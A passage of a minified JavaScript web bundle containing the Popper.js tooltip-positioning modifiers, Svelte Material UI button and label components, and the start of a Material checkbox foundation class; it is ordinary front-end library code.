r&&(d=r({state:d,options:o,name:l,instance:c})||d)}else d.reset=!1,a=-1}}},update:(i=function(){return new Promise((function(e){c.forceUpdate(),e(d)}))},function(){return o||(o=new Promise((function(e){Promise.resolve().then((function(){o=void 0,e(i())}))}))),o}),destroy:function(){m(),u=!0}};if(!I(e,t))return c;function m(){l.forEach((function(e){return e()})),l=[]}return c.setOptions(n).then((function(e){!u&&n.onFirstUpdate&&n.onFirstUpdate(e)})),c}}var P={passive:!0};const F={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(e){var t=e.state,n=e.instance,a=e.options,r=a.scroll,s=void 0===r||r,o=a.resize,d=void 0===o||o,l=i(t.elements.popper),u=[].concat(t.scrollParents.reference,t.scrollParents.popper);return s&&u.forEach((function(e){e.addEventListener("scroll",n.update,P)})),d&&l.addEventListener("resize",n.update,P),function(){s&&u.forEach((function(e){e.removeEventListener("scroll",n.update,P)})),d&&l.removeEventListener("resize",n.update,P)}},data:{}};function N(e){return e.split("-")[0]}function z(e){return e.split("-")[1]}function U(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function W(e){var t,n=e.reference,a=e.element,i=e.placement,r=i?N(i):null,s=i?z(i):null,o=n.x+n.width/2-a.width/2,d=n.y+n.height/2-a.height/2;switch(r){case b:t={x:o,y:n.y-a.height};break;case Y:t={x:o,y:n.y+n.height};break;case k:t={x:n.x+n.width,y:d};break;case w:t={x:n.x-a.width,y:d};break;default:t={x:n.x,y:n.y}}var l=r?U(r):null;if(null!=l){var u="y"===l?"height":"width";switch(s){case x:t[l]=t[l]-(n[u]/2-a[u]/2);break;case $:t[l]=t[l]+(n[u]/2-a[u]/2)}}return t}const V={name:"popperOffsets",enabled:!0,phase:"read",fn:function(e){var t=e.state,n=e.name;t.modifiersData[n]=W({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})},data:{}};var G=Math.max,q=Math.min,B=Math.round,Z={top:"auto",right:"auto",bottom:"auto",left:"auto"};function J(e){var t,n=e.popper,a=e.popperRect,r=e.placement,s=e.offsets,o=e.position,d=e.gpuAcceleration,l=e.adaptive,c=e.roundOffsets,_=!0===c?function(e){var t=e.x,n=e.y,a=window.devicePixelRatio||1;return{x:B(B(t*a)/a)||0,y:B(B(n*a)/a)||0}}(s):"function"==typeof c?c(s):s,h=_.x,f=void 0===h?0:h,p=_.y,g=void 0===p?0:p,L=s.hasOwnProperty("x"),y=s.hasOwnProperty("y"),v=w,T=b,D=window;if(l){var x=M(n),$="clientHeight",S="clientWidth";x===i(n)&&"static"!==m(x=u(n)).position&&($="scrollHeight",S="scrollWidth"),x=x,r===b&&(T=Y,g-=x[$]-a.height,g*=d?1:-1),r===w&&(v=k,f-=x[S]-a.width,f*=d?1:-1)}var j,H=Object.assign({position:o},l&&Z);return d?Object.assign({},H,((j={})[T]=y?"0":"",j[v]=L?"0":"",j.transform=(D.devicePixelRatio||1)<2?"translate("+f+"px, "+g+"px)":"translate3d("+f+"px, "+g+"px, 0)",j)):Object.assign({},H,((t={})[T]=y?g+"px":"",t[v]=L?f+"px":"",t.transform="",t))}var K={left:"right",right:"left",bottom:"top",top:"bottom"};function X(e){return e.replace(/left|right|bottom|top/g,(function(e){return K[e]}))}var Q={start:"end",end:"start"};function ee(e){return e.replace(/start|end/g,(function(e){return Q[e]}))}function te(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&d(n)){var a=t;do{if(a&&e.isSameNode(a))return!0;a=a.parentNode||a.host}while(a)}return!1}function ne(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function ae(e,t){return t===S?ne(function(e){var t=i(e),n=u(e),a=t.visualViewport,r=n.clientWidth,s=n.clientHeight,o=0,d=0;return a&&(r=a.width,s=a.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(o=a.offsetLeft,d=a.offsetTop)),{width:r,height:s,x:o+c(e),y:d}}(e)):o(t)?function(e){var t=a(e);return t.top=t.top+e.clientTop,t.left=t.left+e.clientLeft,t.bottom=t.top+e.clientHeight,t.right=t.left+e.clientWidth,t.width=e.clientWidth,t.height=e.clientHeight,t.x=t.left,t.y=t.top,t}(t):ne(function(e){var t,n=u(e),a=r(e),i=null==(t=e.ownerDocument)?void 0:t.body,s=G(n.scrollWidth,n.clientWidth,i?i.scrollWidth:0,i?i.clientWidth:0),o=G(n.scrollHeight,n.clientHeight,i?i.scrollHeight:0,i?i.clientHeight:0),d=-a.scrollLeft+c(e),l=-a.scrollTop;return"rtl"===m(i||n).direction&&(d+=G(n.clientWidth,i?i.clientWidth:0)-s),{width:s,height:o,x:d,y:l}}(u(e)))}function ie(e,t,n){var a="clippingParents"===t?function(e){var t=L(p(e)),n=["absolute","fixed"].indexOf(m(e).position)>=0&&o(e)?M(e):e;return s(n)?t.filter((function(e){return s(e)&&te(e,n)&&"body"!==l(e)})):[]}(e):[].concat(t),i=[].concat(a,[n]),r=i[0],d=i.reduce((function(t,n){var a=ae(e,n);return t.top=G(a.top,t.top),t.right=q(a.right,t.right),t.bottom=q(a.bottom,t.bottom),t.left=G(a.left,t.left),t}),ae(e,r));return d.width=d.right-d.left,d.height=d.bottom-d.top,d.x=d.left,d.y=d.top,d}function re(e){return Object.assign({},{top:0,right:0,bottom:0,left:0},e)}function se(e,t){return t.reduce((function(t,n){return t[n]=e,t}),{})}function oe(e,t){void 0===t&&(t={});var n=t,i=n.placement,r=void 0===i?e.placement:i,o=n.boundary,d=void 0===o?"clippingParents":o,l=n.rootBoundary,c=void 0===l?S:l,m=n.elementContext,_=void 0===m?j:m,h=n.altBoundary,f=void 0!==h&&h,p=n.padding,g=void 0===p?0:p,L=re("number"!=typeof g?g:se(g,D)),y=_===j?"reference":j,v=e.elements.reference,M=e.rects.popper,w=e.elements[f?y:_],T=ie(s(w)?w:w.contextElement||u(e.elements.popper),d,c),x=a(v),$=W({reference:x,element:M,strategy:"absolute",placement:r}),H=ne(Object.assign({},M,$)),C=_===j?H:x,E={top:T.top-C.top+L.top,bottom:C.bottom-T.bottom+L.bottom,left:T.left-C.left+L.left,right:C.right-T.right+L.right},O=e.modifiersData.offset;if(_===j&&O){var A=O[r];Object.keys(E).forEach((function(e){var t=[k,Y].indexOf(e)>=0?1:-1,n=[b,Y].indexOf(e)>=0?"y":"x";E[e]+=A[n]*t}))}return E}function de(e,t,n){return G(e,q(t,n))}function le(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function ue(e){return[b,k,Y,w].some((function(t){return e[t]>=0}))}var ce=R({defaultModifiers:[F,V,{name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(e){var t=e.state,n=e.options,a=n.gpuAcceleration,i=void 0===a||a,r=n.adaptive,s=void 0===r||r,o=n.roundOffsets,d=void 0===o||o,l={placement:N(t.placement),popper:t.elements.popper,popperRect:t.rects.popper,gpuAcceleration:i};null!=t.modifiersData.popperOffsets&&(t.styles.popper=Object.assign({},t.styles.popper,J(Object.assign({},l,{offsets:t.modifiersData.popperOffsets,position:t.options.strategy,adaptive:s,roundOffsets:d})))),null!=t.modifiersData.arrow&&(t.styles.arrow=Object.assign({},t.styles.arrow,J(Object.assign({},l,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:d})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}},{name:"applyStyles",enabled:!0,phase:"write",fn:function(e){var t=e.state;Object.keys(t.elements).forEach((function(e){var n=t.styles[e]||{},a=t.attributes[e]||{},i=t.elements[e];o(i)&&l(i)&&(Object.assign(i.style,n),Object.keys(a).forEach((function(e){var t=a[e];!1===t?i.removeAttribute(e):i.setAttribute(e,!0===t?"":t)})))}))},effect:function(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(t.elements.popper.style,n.popper),t.styles=n,t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow),function(){Object.keys(t.elements).forEach((function(e){var a=t.elements[e],i=t.attributes[e]||{},r=Object.keys(t.styles.hasOwnProperty(e)?t.styles[e]:n[e]).reduce((function(e,t){return e[t]="",e}),{});o(a)&&l(a)&&(Object.assign(a.style,r),Object.keys(i).forEach((function(e){a.removeAttribute(e)})))}))}},requires:["computeStyles"]},{name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(e){var t=e.state,n=e.options,a=e.name,i=n.offset,r=void 0===i?[0,0]:i,s=C.reduce((function(e,n){return e[n]=function(e,t,n){var a=N(e),i=[w,b].indexOf(a)>=0?-1:1,r="function"==typeof n?n(Object.assign({},t,{placement:e})):n,s=r[0],o=r[1];return s=s||0,o=(o||0)*i,[w,k].indexOf(a)>=0?{x:o,y:s}:{x:s,y:o}}(n,t.rects,r),e}),{}),o=s[t.placement],d=o.x,l=o.y;null!=t.modifiersData.popperOffsets&&(t.modifiersData.popperOffsets.x+=d,t.modifiersData.popperOffsets.y+=l),t.modifiersData[a]=s}},{name:"flip",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,a=e.name;if(!t.modifiersData[a]._skip){for(var i=n.mainAxis,r=void 0===i||i,s=n.altAxis,o=void 0===s||s,d=n.fallbackPlacements,l=n.padding,u=n.boundary,c=n.rootBoundary,m=n.altBoundary,_=n.flipVariations,h=void 0===_||_,f=n.allowedAutoPlacements,p=t.options.placement,g=N(p),L=d||(g===p||!h?[X(p)]:function(e){if(N(e)===T)return[];var t=X(e);return[ee(e),t,ee(t)]}(p)),y=[p].concat(L).reduce((function(e,n){return e.concat(N(n)===T?function(e,t){void 0===t&&(t={});var n=t,a=n.placement,i=n.boundary,r=n.rootBoundary,s=n.padding,o=n.flipVariations,d=n.allowedAutoPlacements,l=void 0===d?C:d,u=z(a),c=u?o?H:H.filter((function(e){return z(e)===u})):D,m=c.filter((function(e){return l.indexOf(e)>=0}));0===m.length&&(m=c);var _=m.reduce((function(t,n){return t[n]=oe(e,{placement:n,boundary:i,rootBoundary:r,padding:s})[N(n)],t}),{});return Object.keys(_).sort((function(e,t){return _[e]-_[t]}))}(t,{placement:n,boundary:u,rootBoundary:c,padding:l,flipVariations:h,allowedAutoPlacements:f}):n)}),[]),v=t.rects.reference,M=t.rects.popper,$=new Map,S=!0,j=y[0],E=0;E<y.length;E++){var O=y[E],A=N(O),I=z(O)===x,R=[b,Y].indexOf(A)>=0,P=R?"width":"height",F=oe(t,{placement:O,boundary:u,rootBoundary:c,altBoundary:m,padding:l}),U=R?I?k:w:I?Y:b;v[P]>M[P]&&(U=X(U));var W=X(U),V=[];if(r&&V.push(F[A]<=0),o&&V.push(F[U]<=0,F[W]<=0),V.every((function(e){return e}))){j=O,S=!1;break}$.set(O,V)}if(S)for(var G=function(e){var t=y.find((function(t){var n=$.get(t);if(n)return n.slice(0,e).every((function(e){return e}))}));if(t)return j=t,"break"},q=h?3:1;q>0;q--){if("break"===G(q))break}t.placement!==j&&(t.modifiersData[a]._skip=!0,t.placement=j,t.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}},{name:"preventOverflow",enabled:!0,phase:"main",fn:function(e){var t=e.state,n=e.options,a=e.name,i=n.mainAxis,r=void 0===i||i,s=n.altAxis,o=void 0!==s&&s,d=n.boundary,l=n.rootBoundary,u=n.altBoundary,c=n.padding,m=n.tether,_=void 0===m||m,h=n.tetherOffset,p=void 0===h?0:h,g=oe(t,{boundary:d,rootBoundary:l,padding:c,altBoundary:u}),L=N(t.placement),y=z(t.placement),v=!y,T=U(L),D="x"===T?"y":"x",$=t.modifiersData.popperOffsets,S=t.rects.reference,j=t.rects.popper,H="function"==typeof p?p(Object.assign({},t.rects,{placement:t.placement})):p,C={x:0,y:0};if($){if(r||o){var E="y"===T?b:w,O="y"===T?Y:k,A="y"===T?"height":"width",I=$[T],R=$[T]+g[E],P=$[T]-g[O],F=_?-j[A]/2:0,W=y===x?S[A]:j[A],V=y===x?-j[A]:-S[A],B=t.elements.arrow,Z=_&&B?f(B):{width:0,height:0},J=t.modifiersData["arrow#persistent"]?t.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},K=J[E],X=J[O],Q=de(0,S[A],Z[A]),ee=v?S[A]/2-F-Q-K-H:W-Q-K-H,te=v?-S[A]/2+F+Q+X+H:V+Q+X+H,ne=t.elements.arrow&&M(t.elements.arrow),ae=ne?"y"===T?ne.clientTop||0:ne.clientLeft||0:0,ie=t.modifiersData.offset?t.modifiersData.offset[t.placement][T]:0,re=$[T]+ee-ie-ae,se=$[T]+te-ie;if(r){var le=de(_?q(R,re):R,I,_?G(P,se):P);$[T]=le,C[T]=le-I}if(o){var ue="x"===T?b:w,ce="x"===T?Y:k,me=$[D],_e=me+g[ue],he=me-g[ce],fe=de(_?q(_e,re):_e,me,_?G(he,se):he);$[D]=fe,C[D]=fe-me}}t.modifiersData[a]=C}},requiresIfExists:["offset"]},{name:"arrow",enabled:!0,phase:"main",fn:function(e){var t,n=e.state,a=e.name,i=e.options,r=n.elements.arrow,s=n.modifiersData.popperOffsets,o=N(n.placement),d=U(o),l=[w,k].indexOf(o)>=0?"height":"width";if(r&&s){var u=function(e,t){return re("number"!=typeof(e="function"==typeof e?e(Object.assign({},t.rects,{placement:t.placement})):e)?e:se(e,D))}(i.padding,n),c=f(r),m="y"===d?b:w,_="y"===d?Y:k,h=n.rects.reference[l]+n.rects.reference[d]-s[d]-n.rects.popper[l],p=s[d]-n.rects.reference[d],g=M(r),L=g?"y"===d?g.clientHeight||0:g.clientWidth||0:0,y=h/2-p/2,v=u[m],T=L-c[l]-u[_],x=L/2-c[l]/2+y,$=de(v,x,T),S=d;n.modifiersData[a]=((t={})[S]=$,t.centerOffset=$-x,t)}},effect:function(e){var t=e.state,n=e.options.element,a=void 0===n?"[data-popper-arrow]":n;null!=a&&("string"!=typeof a||(a=t.elements.popper.querySelector(a)))&&te(t.elements.popper,a)&&(t.elements.arrow=a)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]},{name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(e){var t=e.state,n=e.name,a=t.rects.reference,i=t.rects.popper,r=t.modifiersData.preventOverflow,s=oe(t,{elementContext:"reference"}),o=oe(t,{altBoundary:!0}),d=le(s,a),l=le(o,i,r),u=ue(d),c=ue(l);t.modifiersData[n]={referenceClippingOffsets:d,popperEscapeOffsets:l,isReferenceHidden:u,hasPopperEscaped:c},t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-reference-hidden":u,"data-popper-escaped":c})}}]})},50942:(e,t,n)=>{"use strict";n.d(t,{__:()=>k,ZP:()=>w});var a=n(21379),i=n(90400),r=n(22730),s=n(86551),o=n(41727);function d(e){let t,n,i,s,o,d;const l=e[6].default,u=(0,a.nu)(l,e,e[5],null);let c=[e[3]],m={};for(let e=0;e<c.length;e+=1)m=(0,a.f0)(m,c[e]);return{c(){t=(0,a.bG)("button"),u&&u.c(),(0,a.UF)(t,m)},m(l,c){(0,a.$T)(l,t,c),u&&u.m(t,null),e[7](t),s=!0,o||(d=[(0,a.TV)(n=r.ol.call(null,t,e[0])),(0,a.TV)(i=e[2].call(null,t))],o=!0)},p(e,[i]){u&&u.p&&(!s||32&i)&&(0,a.Tj)(u,l,e,e[5],s?i:-1,null,null),(0,a.UF)(t,m=(0,a.Lo)(c,[8&i&&e[3]])),n&&(0,a.sB)(n.update)&&1&i&&n.update.call(null,e[0])},i(e){s||((0,a.Ui)(u,e),s=!0)},o(e){(0,a.et)(u,e),s=!1},d(n){n&&(0,a.og)(t),u&&u.d(n),e[7](null),o=!1,(0,a.j7)(d)}}}function l(e,t,n){const i=["use","getElement"];let s=(0,a.q2)(t,i),{$$slots:o={},$$scope:d}=t,{use:l=[]}=t;const u=(0,r.PD)((0,a.w2)());let c=null;return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(3,s=(0,a.q2)(t,i)),"use"in e&&n(0,l=e.use),"$$scope"in e&&n(5,d=e.$$scope)},[l,c,u,s,function(){return c},d,o,function(e){a.Vn[e?"unshift":"push"]((()=>{c=e,n(1,c)}))}]}class u extends a.f_{constructor(e){super(),(0,a.S1)(this,e,l,d,a.N8,{use:0,getElement:4})}get getElement(){return this.$$.ctx[4]}}const c=u;function m(e){let t;return{c(){t=(0,a.bG)("div"),(0,a.Lj)(t,"class","mdc-button__touch")},m(e,n){(0,a.$T)(e,t,n)},d(e){e&&(0,a.og)(t)}}}function _(e){let t,n,i,r;const s=e[26].default,o=(0,a.nu)(s,e,e[28],null);let d=e[6]&&m();return{c(){t=(0,a.bG)("div"),n=(0,a.Dh)(),o&&o.c(),d&&d.c(),i=(0,a.cS)(),(0,a.Lj)(t,"class","mdc-button__ripple")},m(e,s){(0,a.$T)(e,t,s),(0,a.$T)(e,n,s),o&&o.m(e,s),d&&d.m(e,s),(0,a.$T)(e,i,s),r=!0},p(e,t){o&&o.p&&(!r||268435456&t)&&(0,a.Tj)(o,s,e,e[28],r?t:-1,null,null),e[6]?d||(d=m(),d.c(),d.m(i.parentNode,i)):d&&(d.d(1),d=null)},i(e){r||((0,a.Ui)(o,e),r=!0)},o(e){(0,a.et)(o,e),r=!1},d(e){e&&(0,a.og)(t),e&&(0,a.og)(n),o&&o.d(e),d&&d.d(e),e&&(0,a.og)(i)}}}function h(e){let t,n,i;const o=[{use:[[s.Z,{ripple:e[3],unbounded:!1,color:e[4],disabled:!!e[22].disabled,addClass:e[18],removeClass:e[19],addStyle:e[20]}],e[16],...e[0]]},{class:(0,r.$o)({[e[1]]:!0,"mdc-button":!0,"mdc-button--raised":"raised"===e[5],"mdc-button--unelevated":"unelevated"===e[5],"mdc-button--outlined":"outlined"===e[5],"smui-button--color-secondary":"secondary"===e[4],"mdc-button--touch":e[6],"mdc-card__action":"card:action"===e[17],"mdc-card__action--button":"card:action"===e[17],"mdc-dialog__button":"dialog:action"===e[17],"mdc-top-app-bar__navigation-icon":"top-app-bar:navigation"===e[17],"mdc-top-app-bar__action-item":"top-app-bar:action"===e[17],"mdc-snackbar__action":"snackbar:actions"===e[17],"mdc-banner__secondary-action":"banner"===e[17]&&e[8],"mdc-banner__primary-action":"banner"===e[17]&&!e[8],"mdc-tooltip__action":"tooltip:rich-actions"===e[17],...e[11]})},{style:Object.entries(e[12]).map(f).concat([e[2]]).join(" ")},e[13],e[14],e[15],{href:e[7]},e[22]];var d=e[9];function l(e){let t={$$slots:{default:[_]},$$scope:{ctx:e}};for(let e=0;e<o.length;e+=1)t=(0,a.f0)(t,o[e]);return{props:t}}return d&&(t=new d(l(e)),e[27](t),t.$on("click",e[21])),{c(){t&&(0,a.YC)(t.$$.fragment),n=(0,a.cS)()},m(e,r){t&&(0,a.ye)(t,e,r),(0,a.$T)(e,n,r),i=!0},p(e,[i]){const u=6289919&i?(0,a.Lo)(o,[6094873&i&&{use:[[s.Z,{ripple:e[3],unbounded:!1,color:e[4],disabled:!!e[22].disabled,addClass:e[18],removeClass:e[19],addStyle:e[20]}],e[16],...e[0]]},133490&i&&{class:(0,r.$o)({[e[1]]:!0,"mdc-button":!0,"mdc-button--raised":"raised"===e[5],"mdc-button--unelevated":"unelevated"===e[5],"mdc-button--outlined":"outlined"===e[5],"smui-button--color-secondary":"secondary"===e[4],"mdc-button--touch":e[6],"mdc-card__action":"card:action"===e[17],"mdc-card__action--button":"card:action"===e[17],"mdc-dialog__button":"dialog:action"===e[17],"mdc-top-app-bar__navigation-icon":"top-app-bar:navigation"===e[17],"mdc-top-app-bar__action-item":"top-app-bar:action"===e[17],"mdc-snackbar__action":"snackbar:actions"===e[17],"mdc-banner__secondary-action":"banner"===e[17]&&e[8],"mdc-banner__primary-action":"banner"===e[17]&&!e[8],"mdc-tooltip__action":"tooltip:rich-actions"===e[17],...e[11]})},4100&i&&{style:Object.entries(e[12]).map(f).concat([e[2]]).join(" ")},8192&i&&(0,a.gC)(e[13]),16384&i&&(0,a.gC)(e[14]),32768&i&&(0,a.gC)(e[15]),128&i&&{href:e[7]},4194304&i&&(0,a.gC)(e[22])]):{};if(268435520&i&&(u.$$scope={dirty:i,ctx:e}),d!==(d=e[9])){if(t){(0,a.dv)();const e=t;(0,a.et)(e.$$.fragment,1,0,(()=>{(0,a.vp)(e,1)})),(0,a.gb)()}d?(t=new d(l(e)),e[27](t),t.$on("click",e[21]),(0,a.YC)(t.$$.fragment),(0,a.Ui)(t.$$.fragment,1),(0,a.ye)(t,n.parentNode,n)):t=null}else d&&t.$set(u)},i(e){i||(t&&(0,a.Ui)(t.$$.fragment,e),i=!0)},o(e){t&&(0,a.et)(t.$$.fragment,e),i=!1},d(i){e[27](null),i&&(0,a.og)(n),t&&(0,a.vp)(t,i)}}}const f=([e,t])=>`${e}: ${t};`;function p(e,t,n){let s,d,l;const u=["use","class","style","ripple","color","variant","touch","href","action","default","secondary","component","getElement"];let m=(0,a.q2)(t,u),{$$slots:_={},$$scope:h}=t;const f=(0,r.PD)((0,a.w2)());let p,{use:g=[]}=t,{class:L=""}=t,{style:y=""}=t,{ripple:v=!0}=t,{color:M="primary"}=t,{variant:b="text"}=t,{touch:Y=!1}=t,{href:k=null}=t,{action:w="close"}=t,{default:T=!1}=t,{secondary:D=!1}=t,x={},$={},S=(0,i.fw)("SMUI:button:context"),{component:j=(null==k?c:o.Z)}=t;function H(){return p.getElement()}return(0,i.v)("SMUI:label:context","button"),(0,i.v)("SMUI:icon:context","button"),e.$$set=e=>{n(29,t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e))),n(22,m=(0,a.q2)(t,u)),"use"in e&&n(0,g=e.use),"class"in e&&n(1,L=e.class),"style"in e&&n(2,y=e.style),"ripple"in e&&n(3,v=e.ripple),"color"in e&&n(4,M=e.color),"variant"in e&&n(5,b=e.variant),"touch"in e&&n(6,Y=e.touch),"href"in e&&n(7,k=e.href),"action"in e&&n(23,w=e.action),"default"in e&&n(24,T=e.default),"secondary"in e&&n(8,D=e.secondary),"component"in e&&n(9,j=e.component),"$$scope"in e&&n(28,h=e.$$scope)},e.$$.update=()=>{n(13,s="dialog:action"===S&&null!=w?{"data-mdc-dialog-action":w}:{action:t.action}),n(14,d="dialog:action"===S&&T?{"data-mdc-dialog-button-default":""}:{default:t.default}),n(15,l="banner"===S?{}:{secondary:t.secondary})},t=(0,a.Jv)(t),[g,L,y,v,M,b,Y,k,D,j,p,x,$,s,d,l,f,S,function(e){x[e]||n(11,x[e]=!0,x)},function(e){e in x&&!x[e]||n(11,x[e]=!1,x)},function(e,t){$[e]!=t&&(""===t||null==t?(delete $[e],n(12,$)):n(12,$[e]=t,$))},function(){"banner"===S&&(0,r.WI)(H(),D?"SMUI:banner:button:secondaryActionClick":"SMUI:banner:button:primaryActionClick")},m,w,T,H,_,function(e){a.Vn[e?"unshift":"push"]((()=>{p=e,n(10,p)}))},h]}class g extends a.f_{constructor(e){super(),(0,a.S1)(this,e,p,h,a.N8,{use:0,class:1,style:2,ripple:3,color:4,variant:5,touch:6,href:7,action:23,default:24,secondary:8,component:9,getElement:25})}get getElement(){return this.$$.ctx[25]}}const L=g;var y=n(58365);function v(e){let t;const n=e[9].default,i=(0,a.nu)(n,e,e[11],null);return{c(){i&&i.c()},m(e,n){i&&i.m(e,n),t=!0},p(e,r){i&&i.p&&(!t||2048&r)&&(0,a.Tj)(i,n,e,e[11],t?r:-1,null,null)},i(e){t||((0,a.Ui)(i,e),t=!0)},o(e){(0,a.et)(i,e),t=!1},d(e){i&&i.d(e)}}}function M(e){let t,n,i;const s=[{use:[e[4],...e[0]]},{class:(0,r.$o)({[e[1]]:!0,"mdc-button__label":"button"===e[5],"mdc-fab__label":"fab"===e[5],"mdc-tab__text-label":"tab"===e[5],"mdc-image-list__label":"image-list"===e[5],"mdc-snackbar__label":"snackbar"===e[5],"mdc-banner__text":"banner"===e[5],"mdc-segmented-button__label":"segmented-button"===e[5],"mdc-data-table__pagination-rows-per-page-label":"data-table:pagination"===e[5],"mdc-data-table__header-cell-label":"data-table:sortable-header-cell"===e[5]})},"snackbar"===e[5]?{"aria-atomic":"false"}:{},{tabindex:e[6]},e[7]];var o=e[2];function d(e){let t={$$slots:{default:[v]},$$scope:{ctx:e}};for(let e=0;e<s.length;e+=1)t=(0,a.f0)(t,s[e]);return{props:t}}return o&&(t=new o(d(e)),e[10](t)),{c(){t&&(0,a.YC)(t.$$.fragment),n=(0,a.cS)()},m(e,r){t&&(0,a.ye)(t,e,r),(0,a.$T)(e,n,r),i=!0},p(e,[i]){const l=243&i?(0,a.Lo)(s,[17&i&&{use:[e[4],...e[0]]},34&i&&{class:(0,r.$o)({[e[1]]:!0,"mdc-button__label":"button"===e[5],"mdc-fab__label":"fab"===e[5],"mdc-tab__text-label":"tab"===e[5],"mdc-image-list__label":"image-list"===e[5],"mdc-snackbar__label":"snackbar"===e[5],"mdc-banner__text":"banner"===e[5],"mdc-segmented-button__label":"segmented-button"===e[5],"mdc-data-table__pagination-rows-per-page-label":"data-table:pagination"===e[5],"mdc-data-table__header-cell-label":"data-table:sortable-header-cell"===e[5]})},32&i&&(0,a.gC)("snackbar"===e[5]?{"aria-atomic":"false"}:{}),64&i&&{tabindex:e[6]},128&i&&(0,a.gC)(e[7])]):{};if(2048&i&&(l.$$scope={dirty:i,ctx:e}),o!==(o=e[2])){if(t){(0,a.dv)();const e=t;(0,a.et)(e.$$.fragment,1,0,(()=>{(0,a.vp)(e,1)})),(0,a.gb)()}o?(t=new o(d(e)),e[10](t),(0,a.YC)(t.$$.fragment),(0,a.Ui)(t.$$.fragment,1),(0,a.ye)(t,n.parentNode,n)):t=null}else o&&t.$set(l)},i(e){i||(t&&(0,a.Ui)(t.$$.fragment,e),i=!0)},o(e){t&&(0,a.et)(t.$$.fragment,e),i=!1},d(i){e[10](null),i&&(0,a.og)(n),t&&(0,a.vp)(t,i)}}}function b(e,t,n){const s=["use","class","component","getElement"];let o=(0,a.q2)(t,s),{$$slots:d={},$$scope:l}=t;const u=(0,r.PD)((0,a.w2)());let c,{use:m=[]}=t,{class:_=""}=t,{component:h=y.Z}=t;const f=(0,i.fw)("SMUI:label:context"),p=(0,i.fw)("SMUI:label:tabindex");return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(7,o=(0,a.q2)(t,s)),"use"in e&&n(0,m=e.use),"class"in e&&n(1,_=e.class),"component"in e&&n(2,h=e.component),"$$scope"in e&&n(11,l=e.$$scope)},[m,_,h,c,u,f,p,o,function(){return c.getElement()},d,function(e){a.Vn[e?"unshift":"push"]((()=>{c=e,n(3,c)}))},l]}class Y extends a.f_{constructor(e){super(),(0,a.S1)(this,e,b,M,a.N8,{use:0,class:1,component:2,getElement:8})}get getElement(){return this.$$.ctx[8]}}const k=Y;const w=L},65843:(e,t,n)=>{"use strict";n.d(t,{Z:()=>g});var a=n(21379),i=n(70655),r=n(6308),s={ANIM_CHECKED_INDETERMINATE:"mdc-checkbox--anim-checked-indeterminate",ANIM_CHECKED_UNCHECKED:"mdc-checkbox--anim-checked-unchecked",ANIM_INDETERMINATE_CHECKED:"mdc-checkbox--anim-indeterminate-checked",ANIM_INDETERMINATE_UNCHECKED:"mdc-checkbox--anim-indeterminate-unchecked",ANIM_UNCHECKED_CHECKED:"mdc-checkbox--anim-unchecked-checked",ANIM_UNCHECKED_INDETERMINATE:"mdc-checkbox--anim-unchecked-indeterminate",BACKGROUND:"mdc-checkbox__background",CHECKED:"mdc-checkbox--checked",CHECKMARK:"mdc-checkbox__checkmark",CHECKMARK_PATH:"mdc-checkbox__checkmark-path",DISABLED:"mdc-checkbox--disabled",INDETERMINATE:"mdc-checkbox--indeterminate",MIXEDMARK:"mdc-checkbox__mixedmark",NATIVE_CONTROL:"mdc-checkbox__native-control",ROOT:"mdc-checkbox",SELECTED:"mdc-checkbox--selected",UPGRADED:"mdc-checkbox--upgraded"},o={ARIA_CHECKED_ATTR:"aria-checked",ARIA_CHECKED_INDETERMINATE_VALUE:"mixed",DATA_INDETERMINATE_ATTR:"data-indeterminate",NATIVE_CONTROL_SELECTOR:".mdc-checkbox__native-control",TRANSITION_STATE_CHECKED:"checked",TRANSITION_STATE_INDETERMINATE:"indeterminate",TRANSITION_STATE_INIT:"init",TRANSITION_STATE_UNCHECKED:"unchecked"},d={ANIM_END_LATCH_MS:250},l=function(e){function t(n){var a=e.call(this,(0,i.pi)((0,i.pi)({},t.defaultAdapter),n))||this;return a.currentCheckState_=o.TRANSITION_STATE_INIT,a.currentAnimationClass_="",a.animEndLatchTimer_=0,a.enableAnimationEndHandler_=!1,a}return(0,i.ZT)(t,e),Object.defineProperty(t,"cssClasses",{get:function(){return s},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function(){return o},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function(){return d},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{addClass:function(){},forceLayout:function(){},hasNativeControl:function(){return!1},isAttachedToDOM:function(){return!1},isChecked:function(){return!1},isIndeterminate:function(){return!1},removeClass:function(){},removeNativeControlAttr:function(){},setNativeControlAttr:function(){},setNativeControlDisabled:function(){}}},enumerable:!1,configurable:!0}),t.prototype.init=function(){this.currentCheckState_=this.determineCheckState_(),this.updateAriaChecked_(),this.adapter.addClass(s.UPGRADED)},t.prototype.destroy=function(){clearTimeout(this.animEndLatchTimer_)},t.prototype.setDisabled=function(e){this.adapter.setNativeControlDisabled(e),e?this.adapter.addClass(s.DISABLED):this.adapter.removeClass(s.DISABLED)},t.